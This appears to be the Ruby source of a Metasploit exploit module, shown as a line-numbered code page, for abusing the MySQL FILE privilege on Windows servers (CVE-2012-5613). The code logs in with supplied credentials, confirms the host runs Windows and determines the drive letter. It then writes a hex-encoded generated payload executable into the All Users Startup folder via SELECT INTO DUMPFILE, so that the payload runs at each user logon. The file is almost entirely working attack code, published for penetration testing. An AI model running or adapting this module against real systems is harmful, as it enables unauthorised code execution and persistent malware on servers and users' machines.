Path: blob/master/modules/exploits/windows/mysql/mysql_start_up.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper11include Msf::OptionalSession::MySQL1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',18'Description' => %q{19This module takes advantage of a file privilege misconfiguration problem20specifically against Windows MySQL servers. This module abuses the FILE21privilege to write a payload to Microsoft's All Users Start Up directory22which will execute every time a user logs in. The default All Users Start23Up directory used by the module is present on Windows 7.24},25'Author' => [26'sinn3r',27'Sean Verity <veritysr1980[at]gmail.com>'28],29'DefaultOptions' => {30'DisablePayloadHandler' => true31},32'License' => MSF_LICENSE,33'References' => [34['CVE', '2012-5613'], # DISPUTED35['OSVDB', '88118'],36['EDB', '23083'],37['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']38],39'Platform' => 'win',40'Targets' => [41[ 'MySQL on Windows', {} ]42],43'DefaultTarget' => 0,44'DisclosureDate' => '2012-12-01',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('USERNAME', [ true, 'The username to authenticate as']),56OptString.new('PASSWORD', [ true, 'The password to authenticate with']),57OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])58]59)60end6162def check63m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])64return Exploit::CheckCode::Safe unless m6566return Exploit::CheckCode::Appears if is_windows?6768Exploit::CheckCode::Safe69end7071def query(q)72rows = []7374begin75res = mysql_query(q)76return rows unless res7778res.each_hash do |row|79rows << row80end81rescue ::Rex::Proto::MySQL::Client::ParseError82return rows83end8485rows86end8788def is_windows?89r = query("SELECT @@version_compile_os;")90r[0]['@@version_compile_os'] =~ /^Win/ ? true : false91end9293def get_drive_letter94r = query("SELECT @@tmpdir;")95drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''9697drive98end99100def upload_file(bin, dest)101p = bin.unpack("H*")[0]102query("SELECT 0x#{p} into DUMPFILE '#{dest}'")103end104105def exploit106unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')107fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")108end109110print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") unless session111begin112# If we have a session make use of it113if session114print_status("Using existing session #{session.sid}")115self.mysql_conn = session.client116else117# otherwise fallback to attempting to login118m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])119return unless m120end121rescue ::Rex::Proto::MySQL::Client::AccessDeniedError122fail_with(Failure::NoAccess, "#{peer} - Access denied")123end124125fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m || session126127unless is_windows?128fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")129end130131begin132drive = get_drive_letter133rescue ::Rex::Proto::MySQL::Client::ParseError134fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")135end136137fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive138139exe_name = Rex::Text::rand_text_alpha(5) + ".exe"140dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"141exe = generate_payload_exe142143print_status("Uploading to '#{dest}'")144begin145upload_file(exe, dest)146rescue ::Rex::Proto::MySQL::Client::AccessDeniedError147fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")148end149register_file_for_cleanup("#{dest}")150end151end152153154